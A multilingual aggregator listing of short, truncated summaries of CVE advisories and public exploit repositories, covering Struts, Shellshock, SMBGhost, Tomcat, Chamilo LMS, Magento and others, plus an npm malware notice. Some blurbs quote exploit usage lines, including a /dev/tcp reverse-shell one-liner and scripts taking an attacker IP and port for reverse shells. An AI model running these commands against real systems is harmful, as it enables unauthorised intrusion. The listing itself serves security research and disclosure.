CVE-2022-23967

CVE-2022-23967 TightVNC 1.3.10 में, rfbproto.c के InitialiseRFBConnection में एक integer signedness त्रुटि और परिणामी heap-आधारित बफ़र ओवरफ़्लो है vncviewer घटक के लिए। malloc को दिए गए आकार पर कोई जाँच नहीं है, उदा., -1 स्वीकार किया जाता है। यह शून्य आकार का एक चंक आवंटित करता है, जो एक heap...

CVE-2017-5638

CVE-2017-5638 | Struts s2-045 Descrição É possível realizar um ataque RCE com um valor malicioso de Content-Type. Se o valor de Content-Type não for válido, uma exceção é lançada, que é então usada para exibir uma mensagem de erro para um usuário. Versões afetadas Struts 2.3.5 Struts 2.3.31 Strut...

CVE-2026-104890 Kunstmaan CMS: MediaBundle extension blacklist bypass allows authenticated administrators to upload executable PHP files leading to remote code execution

Kunstmaan CMS is an open source content management system based on the Symfony framework. Prior to 7.3.2, src/Kunstmaan/MediaBundle/Helper/File/FileHandler.php performs the blacklistedextensions check case-sensitively in FileHandler::getFilePath and lowercases the stored extension afterward. An...

CVE-2026-104890 Kunstmaan CMS: MediaBundle extension blacklist bypass allows authenticated administrators to upload executable PHP files leading to remote code execution

Kunstmaan CMS is an open source content management system based on the Symfony framework. Prior to 7.3.2, src/Kunstmaan/MediaBundle/Helper/File/FileHandler.php performs the blacklistedextensions check case-sensitively in FileHandler::getFilePath and lowercases the stored extension afterward. An...

CVE-2026-104890

Kunstmaan CMS , a Symfony-based content management system, contains a blacklist bypass vulnerability in the MediaBundle extension (specifically in src/Kunstmaan/MediaBundle/Helper/File/FileHandler.php). Prior to version 7.3.2 , the FileHandler::getFilePath function performs a case-sensitive check...

CVE-2026-104890

Kunstmaan CMS is an open source content management system based on the Symfony framework. Prior to 7.3.2, src/Kunstmaan/MediaBundle/Helper/File/FileHandler.php performs the blacklistedextensions check case-sensitively in FileHandler::getFilePath and lowercases the stored extension afterward. An...

CVE-2017-9841

phpunit-shell ⭐ CVE-2017-9841 का शोषण करने के लिए एक सरल python3 स्क्रिप्ट। शोषण - CVE-2017-9841 ❗ सरल स्क्रिप्ट जो PHPUnit 4.8.28 से पहले और 5.x 5.6.3 से पहले में पाई गई रिमोट कोड निष्पादन भेद्यता का शोषण करती है। यह लक्ष्य पर उपयोगकर्ता इनपुट सिस्टम कमांड के साथ POST अनुरोध भेजती है।...

CVE-2014-6271

Hellshocker 0.1.1 Ferramenta para explorar a vulnerabilidade Shellshock Cansado de usar exploits fracos para Shellshock ou simplesmente usar "/bin/bash & /dev/tcp/IP/port 0&1" para entrar no servidor? Sim, você precisa fazer upload e executar algo mais complexo no servidor, e codificar em base64 ...

CVE-2018-6574

CVE-2018-6574 Golang go get कमांड में रिमोट कमांड निष्पादन। CVE-2018-6574 यह भेद्यता Golang go get कमांड को प्रभावित करती है और एक हमलावर को एक दुर्भावनापूर्ण लाइब्रेरी स्थापित करके सिस्टम पर कोड निष्पादन प्राप्त करने की अनुमति देती है, यह भेद्यता Go 1.8.7, 1.9.4 और 1.10rc2 में ठीक की गई थी। Gola...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 शोषण और पहचान को स्वचालित करें यह पायथन प्रोग्राम RCE SMBGhost भेद्यता का एक रैपर है। कार्यशील एक्सप्लॉइट का सारा श्रेय chompie1337 को जाता है। स्कैनर का सारा श्रेय ioncodes को जाता है। मैंने इन कार्यों को एक प्रोग्राम में स्वचालित कर दिया है। जब आप रिवर्स शेल बनाने जा रहे...

CVE-2017-17485

CVE-2017-17485 CVE-2017-17485:Jackson-databind RCE...

CVE-2025-55182-POC

CVE-2025-55182-POC React2Shell POC उपयोग: sudo python3 hehe.py -t -c उदाहरण: ❯ sudo python3 hehe-t 12.05.12.05 -c "id" . .. . | \ | | / \ / || || | | | / || | | | | || | | | | | | | | / ^ \ | ,----'---| |----| | | | | ----| || | | | | | | | | / | | / /\ \ | | | | | | | | \ \ | | | | | | | | | |...

ruby-RCE-CVE-2019-5420-

ruby डिसीरियलाइज़ेशन （CVE-2019-5420） https://github.com/PenTestical/CVE-2019-5420 संदर्भ: 1 Ruby on Rails कमांड निष्पादन भेद्यता payload कार्यान्वयन प्रक्रिया https://hackerone.com/reports/473888 चूंकि ActiveSupport::MessageVerifier और ActiveSupport::MessageEncryptor डिफ़ॉल्ट सीरियलाइज़र के रूप म...

CVE-2026-38751

CVE-2026-38751 — OpenSTAManager मॉड्यूल अपलोड RCE मॉड्यूल अपडेट एंडपॉइंट में अमान्य ZIP अपलोड के माध्यम से प्रमाणित RCE। प्रभावित: OpenSTAManager = 2.10.x आवश्यकताएँ pip install requests उपयोग Reverse shell Penelope or any listener python3 exploit.py -u http://TARGET -U admin -P admin --lhost...

CVE-2025-0282-Full-version

Storks: रिमोट कोड निष्पादन भेद्यता शोषण उपकरण अवलोकन Storks एक Python-आधारित प्रूफ-ऑफ-कॉन्सेप्ट PoC टूल है, जिसे एक विशिष्ट नेटवर्क उपकरण में CVE-2025-0282 के रूप में पहचानी गई एक महत्वपूर्ण रिमोट कोड निष्पादन RCE भेद्यता को प्रदर्शित करने के लिए डिज़ाइन किया गया है। इस भेद्यता का शोषण एक विशेष...

CVE-2025-24813-POC

CVE-2025-24813 Apache Tomcat RCE PoC PoC para CVE-2025-24813, uma vulnerabilidade de Execução Remota de Código RCE no Apache Tomcat. Importante: Este PoC destina-se exclusivamente a testes em seus próprios ambientes ou para fins educacionais. Qualquer uso deste PoC para explorar sistemas sem a...

CVE-2023-4220

CVE-2023-4220 शोषण Chamilo LMS अप्रमाणित बड़ी अपलोड फ़ाइल दूरस्थ कोड निष्पादन cve-2023-4220.sh का उपयोग ./cve-2023-4220.sh ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1 ./cve-2023-4220.sh -h Usage for RevShell: ./cve-2023-4220.sh Example: ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1...

PoC-Funcional---CVE-2026-45247-Mirasvit-Full-Page-Cache-Warmer-RCE-

CVE-2026-45247 - Magento 2 के लिए Mirasvit Full Page Cache Warmer - PHP ऑब्जेक्ट इंजेक्शन → RCE -red 📋 विवरण CVE-2026-45247 Magento 2 और Adobe Commerce के लिए Mirasvit Full Page Cache Warmer एक्सटेंशन में एक गंभीर PHP ऑब्जेक्ट इंजेक्शन भेद्यता है। एक अप्रमाणित हमलावर CacheWarmer कुकी में एक हेरफे...

go-get-RCE

go-get-RCE यह CVE-2018-6574 का एक्सप्लॉइट है: go get RCE यह भेद्यता Golang के go get कमांड को प्रभावित करती है और एक हमलावर को अपनी दुर्भावनापूर्ण लाइब्रेरी इंस्टॉल करने वाले सिस्टम पर कोड निष्पादन प्राप्त करने की अनुमति देती है। यह एक ऐसी भेद्यता का अच्छा उदाहरण है जिसका उपयोग typosquatting के...

MAL-2026-17618 Malicious code in @diezyclutch/baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 220c03791e2404d6bddaf8542dedfd4b7b69f4519b260ab8cb162791d5f389d1 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...